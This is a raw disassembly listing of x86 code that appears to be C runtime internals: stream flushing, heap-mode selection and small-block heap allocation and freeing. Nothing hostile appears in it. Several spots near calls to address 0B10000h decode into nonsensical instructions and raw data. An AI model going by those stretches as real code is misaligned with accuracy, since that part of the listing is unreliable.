		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DDF8
		test	ax, 108h
		jz	short loc_41DDF8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DDF8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	loc_422BF6
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DDF1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DDF8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DDF1:				; CODE XREF: sub_41DDAB+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DDF8:				; CODE XREF: sub_41DDAB+14j
					; sub_41DDAB+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DDAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE07	proc near		; CODE XREF: sub_4229F0p
		push	1
		call	sub_41DE10
		pop	ecx
		retn
sub_41DE07	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE10	proc near		; CODE XREF: sub_41DD70+Ap
					; sub_41DE07+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_4DF300, esi
		jle	short loc_41DE6E


loc_41DE21:				; CODE XREF: sub_41DE10+5Cj
		mov	eax, ds:dword_4DE2E4
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DE65
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DE65
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DE4B
		push	eax
		call	sub_41DD70
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DE65
		inc	ebx
		jmp	short loc_41DE65
; ---------------------------------------------------------------------------


loc_41DE4B:				; CODE XREF: sub_41DE10+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DE65
		test	cl, 2
		jz	short loc_41DE65
		push	eax
		call	sub_41DD70
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DE65
		or	edi, eax


loc_41DE65:				; CODE XREF: sub_41DE10+1Bj
					; sub_41DE10+23j ...
		inc	esi
		cmp	esi, ds:dword_4DF300
		jl	short loc_41DE21


loc_41DE6E:				; CODE XREF: sub_41DE10+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DE79
		mov	eax, edi


loc_41DE79:				; CODE XREF: sub_41DE10+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE7D	proc near		; CODE XREF: seg000:0041DFE0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 0B10000h
		into
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DEA8
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DEA8
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DEA8:				; CODE XREF: sub_41DE7D+15j
					; sub_41DE7D+1Cj
		pop	esi
		retn
sub_41DE7D	endp

; ---------------------------------------------------------------------------


loc_41DEAA:				; CODE XREF: sub_41DFF2+20p
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BD10
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	ds:dword_4280C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41DEED
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DEED
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DEED
		push	1
		pop	eax
		jmp	loc_41DFEF
; ---------------------------------------------------------------------------


loc_41DEED:				; CODE XREF: seg000:0041DED1j
					; seg000:0041DEDAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 0B10000h
		mov	dh, 85h
		ror	byte ptr [edi],	84h
		rol	byte ptr [eax],	1
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DF2F


loc_41DF1C:				; CODE XREF: seg000:0041DF2Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DF2A
		cmp	al, 7Ah
		jg	short loc_41DF2A
		sub	al, 20h
		mov	[ecx], al


loc_41DF2A:				; CODE XREF: seg000:0041DF20j
					; seg000:0041DF24j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DF1C


loc_41DF2F:				; CODE XREF: seg000:0041DF1Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C060
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DF51
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------


loc_41DF51:				; CODE XREF: seg000:0041DF47j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 0B10000h
		sbb	[eax], edi
		popf
; ---------------------------------------------------------------------------
		dw 0FE64h
		dd 8D8DFFFFh, 0FFFFFE64h, 18A1374h, 87C613Ch, 47F7A3Ch
		dd 188202Ch, 75193841h,	64858DEDh, 50FFFFFEh, 0EDD4858Dh
		dd 0E850FFFFh, 0FFFFDB58h
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ecx


loc_41DF9A:				; CODE XREF: seg000:0041DF4Fj
		cmp	eax, ebx
		jz	short loc_41DFDC
		push	2Ch
		push	eax
		call	sub_41C1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DFDC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DFC1


loc_41DFB3:				; CODE XREF: seg000:0041DFBFj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DFBC
		mov	[ecx], bl
		jmp	short loc_41DFBD
; ---------------------------------------------------------------------------


loc_41DFBC:				; CODE XREF: seg000:0041DFB6j
		inc	ecx


loc_41DFBD:				; CODE XREF: seg000:0041DFBAj
		cmp	[ecx], bl
		jnz	short loc_41DFB3


loc_41DFC1:				; CODE XREF: seg000:0041DFB1j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BD96
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DFEF
		cmp	eax, 3
		jz	short loc_41DFEF
		cmp	eax, 1
		jz	short loc_41DFEF


loc_41DFDC:				; CODE XREF: seg000:0041DF9Cj
					; seg000:0041DFAAj
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DE7D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DFEF:				; CODE XREF: seg000:0041DEE8j
					; seg000:0041DFD0j ...
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DFF2	proc near		; CODE XREF: seg000:0041DBADp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_4281C0	; HeapCreate
		test	eax, eax
		mov	ds:dword_4DF544, eax
		jz	short loc_41E048
		call	loc_41DEAA
		cmp	eax, 3
		mov	ds:dword_4DF548, eax
		jnz	short loc_41E02E
		push	3F8h
		call	sub_41E04F
		pop	ecx
		jmp	short loc_41E038
; ---------------------------------------------------------------------------


loc_41E02E:				; CODE XREF: sub_41DFF2+2Dj
		cmp	eax, 2
		jnz	short loc_41E04B
		call	sub_41EB96


loc_41E038:				; CODE XREF: sub_41DFF2+3Aj
		test	eax, eax
		jnz	short loc_41E04B
		push	ds:dword_4DF544
		call	ds:dword_4281BC	; HeapDestroy


loc_41E048:				; CODE XREF: sub_41DFF2+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E04B:				; CODE XREF: sub_41DFF2+3Fj
					; sub_41DFF2+48j
		push	1
		pop	eax
		retn
sub_41DFF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E04F	proc near		; CODE XREF: sub_41DFF2+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428148	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4DF53C, eax
		jnz	short loc_41E06C
		retn
; ---------------------------------------------------------------------------


loc_41E06C:				; CODE XREF: sub_41E04F+1Aj
		mov	ecx, [esp+arg_0]
		and	ds:dword_4DF534, 0
		and	ds:dword_4DF538, 0
		push	1
		mov	ds:dword_4DF530, eax
		mov	ds:dword_4DF540, ecx
		mov	ds:dword_4DF528, 10h
		pop	eax
		retn
sub_41E04F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E097	proc near		; CODE XREF: sub_41B2A1+17p
					; sub_41B3F2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4DF538
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_4DF53C
		lea	ecx, [eax+ecx*4]


loc_41E0A7:				; CODE XREF: sub_41E097+26j
		cmp	eax, ecx
		jnb	short loc_41E0BF
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E0C1
		add	eax, 14h
		jmp	short loc_41E0A7
; ---------------------------------------------------------------------------


loc_41E0BF:				; CODE XREF: sub_41E097+12j
		xor	eax, eax

locret_41E0C1:				; CODE XREF: sub_41E097+21j
		retn
sub_41E097	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0C2	proc near		; CODE XREF: sub_41B2A1+23p
					; sub_41B3F2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E3E6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E198
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E126
		push	3Fh
		pop	edx


loc_41E126:				; CODE XREF: sub_41E0C2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E17A
		cmp	edx, 20h
		jnb	short loc_41E151
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E172
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E172
; ---------------------------------------------------------------------------


loc_41E151:				; CODE XREF: sub_41E0C2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E172
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E172:				; CODE XREF: sub_41E0C2+86j
					; sub_41E0C2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------


loc_41E17A:				; CODE XREF: sub_41E0C2+6Aj
		mov	ecx, [ebp+var_4]


loc_41E17D:				; CODE XREF: sub_41E0C2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E198:				; CODE XREF: sub_41E0C2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E1A6
		push	3Fh
		pop	edx


loc_41E1A6:				; CODE XREF: sub_41E0C2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E249
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E1CB
		mov	ebx, esi


loc_41E1CB:				; CODE XREF: sub_41E0C2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E1DD
		mov	edx, esi


loc_41E1DD:				; CODE XREF: sub_41E0C2+117j
		cmp	ebx, edx
		jz	short loc_41E244
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E22C
		cmp	ebx, 20h
		jnb	short loc_41E20D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E22C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E22C
; ---------------------------------------------------------------------------


loc_41E20D:				; CODE XREF: sub_41E0C2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E22C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E22C:				; CODE XREF: sub_41E0C2+128j
					; sub_41E0C2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E244:				; CODE XREF: sub_41E0C2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E24C
; ---------------------------------------------------------------------------


loc_41E249:				; CODE XREF: sub_41E0C2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E24C:				; CODE XREF: sub_41E0C2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E25A
		cmp	ebx, edx
		jz	loc_41E2DB


loc_41E25A:				; CODE XREF: sub_41E0C2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E2DB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E2B2
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E2A1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E2A1:				; CODE XREF: sub_41E0C2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E2DB
; ---------------------------------------------------------------------------


loc_41E2B2:				; CODE XREF: sub_41E0C2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E2C8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E2C8:				; CODE XREF: sub_41E0C2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E2DB:				; CODE XREF: sub_41E0C2+192j
					; sub_41E0C2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E3E6
		mov	eax, ds:dword_4DF534
		test	eax, eax
		jz	loc_41E3D8
		mov	ecx, ds:dword_4DF52C
		mov	esi, ds:dword_4281C4
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, ds:dword_4DF52C
		mov	eax, ds:dword_4DF534
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_4DF534
		mov	ecx, ds:dword_4DF52C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_4DF534
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_4DF534
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E369
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_4DF534


loc_41E369:				; CODE XREF: sub_41E0C2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E3D8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, ds:dword_4DF534
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428144	; RtlFreeHeap
		mov	eax, ds:dword_4DF538
		mov	edx, ds:dword_4DF53C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_4DF534
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CE80
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4DF538
		cmp	eax, ds:dword_4DF534
		jbe	short loc_41E3CE
		sub	[ebp+arg_0], 14h


loc_41E3CE:				; CODE XREF: sub_41E0C2+306j
		mov	eax, ds:dword_4DF53C
		mov	ds:dword_4DF530, eax


loc_41E3D8:				; CODE XREF: sub_41E0C2+234j
					; sub_41E0C2+2ABj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4DF52C, edi
		mov	ds:dword_4DF534, eax


loc_41E3E6:				; CODE XREF: sub_41E0C2+38j
					; sub_41E0C2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E0C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3EB	proc near		; CODE XREF: sub_41B3F2+77p
					; sub_41B703+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_4DF538
		mov	edx, ds:dword_4DF53C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E42B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E43B
; ---------------------------------------------------------------------------


loc_41E42B:				; CODE XREF: sub_41E3EB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E43B:				; CODE XREF: sub_41E3EB+3Ej
		mov	eax, ds:dword_4DF530
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E462


loc_41E449:				; CODE XREF: sub_41E3EB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E462
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E449


loc_41E462:				; CODE XREF: sub_41E3EB+5Cj
					; sub_41E3EB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E4E0
		mov	ebx, edx


loc_41E469:				; CODE XREF: sub_41E3EB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E485
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E483
		add	ebx, 14h
		jmp	short loc_41E469
; ---------------------------------------------------------------------------


loc_41E483:				; CODE XREF: sub_41E3EB+91j
		cmp	ebx, eax


loc_41E485:				; CODE XREF: sub_41E3EB+83j
		jnz	short loc_41E4E0


loc_41E487:				; CODE XREF: sub_41E3EB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E49D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E49A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E487
; ---------------------------------------------------------------------------


loc_41E49A:				; CODE XREF: sub_41E3EB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E49D:				; CODE XREF: sub_41E3EB+9Fj
		jnz	short loc_41E4C5
		mov	ebx, edx


loc_41E4A1:				; CODE XREF: sub_41E3EB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E4B5
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E4B3
		add	ebx, 14h
		jmp	short loc_41E4A1
; ---------------------------------------------------------------------------


loc_41E4B3:				; CODE XREF: sub_41E3EB+C1j
		cmp	ebx, eax


loc_41E4B5:				; CODE XREF: sub_41E3EB+BBj
		jnz	short loc_41E4C5
		call	sub_41E6F4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E4D9


loc_41E4C5:				; CODE XREF: sub_41E3EB:loc_41E49Dj
					; sub_41E3EB:loc_41E4B5j
		push	ebx
		call	sub_41E7A5
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E4E0


loc_41E4D9:				; CODE XREF: sub_41E3EB+D8j
		xor	eax, eax
		jmp	loc_41E6EF
; ---------------------------------------------------------------------------


loc_41E4E0:				; CODE XREF: sub_41E3EB+7Aj
					; sub_41E3EB:loc_41E485j ...
		mov	ds:dword_4DF530, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E507
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E53E


loc_41E507:				; CODE XREF: sub_41E3EB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E53B


loc_41E524:				; CODE XREF: sub_41E3EB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E524


loc_41E53B:				; CODE XREF: sub_41E3EB+137j
		mov	edx, [ebp+var_4]


loc_41E53E:				; CODE XREF: sub_41E3EB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E567
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E567:				; CODE XREF: sub_41E3EB+16Dj
					; sub_41E3EB+183j
		test	ecx, ecx
		jl	short loc_41E570
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E567
; ---------------------------------------------------------------------------


loc_41E570:				; CODE XREF: sub_41E3EB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E58D
		push	3Fh
		pop	esi


loc_41E58D:				; CODE XREF: sub_41E3EB+19Dj
		cmp	esi, edi
		jz	loc_41E6A2
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E5FE
		cmp	edi, 20h
		jge	short loc_41E5CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E5FB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E5FE
; ---------------------------------------------------------------------------


loc_41E5CD:				; CODE XREF: sub_41E3EB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E5FB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E5FE
; ---------------------------------------------------------------------------


loc_41E5FB:				; CODE XREF: sub_41E3EB+1D6j
					; sub_41E3EB+203j
		mov	ebx, [ebp+arg_0]


loc_41E5FE:				; CODE XREF: sub_41E3EB+1B0j
					; sub_41E3EB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E6AE
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E69F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E670
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E65E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E65E:				; CODE XREF: sub_41E3EB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E69F
; ---------------------------------------------------------------------------


loc_41E670:				; CODE XREF: sub_41E3EB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E689
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E689:				; CODE XREF: sub_41E3EB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E69F:				; CODE XREF: sub_41E3EB+24Ej
					; sub_41E3EB+283j
		mov	ecx, [ebp+var_8]


loc_41E6A2:				; CODE XREF: sub_41E3EB+1A4j
		test	ecx, ecx
		jz	short loc_41E6B1
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E6B1
; ---------------------------------------------------------------------------


loc_41E6AE:				; CODE XREF: sub_41E3EB+229j
		mov	ecx, [ebp+var_8]


loc_41E6B1:				; CODE XREF: sub_41E3EB+2B9j
					; sub_41E3EB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
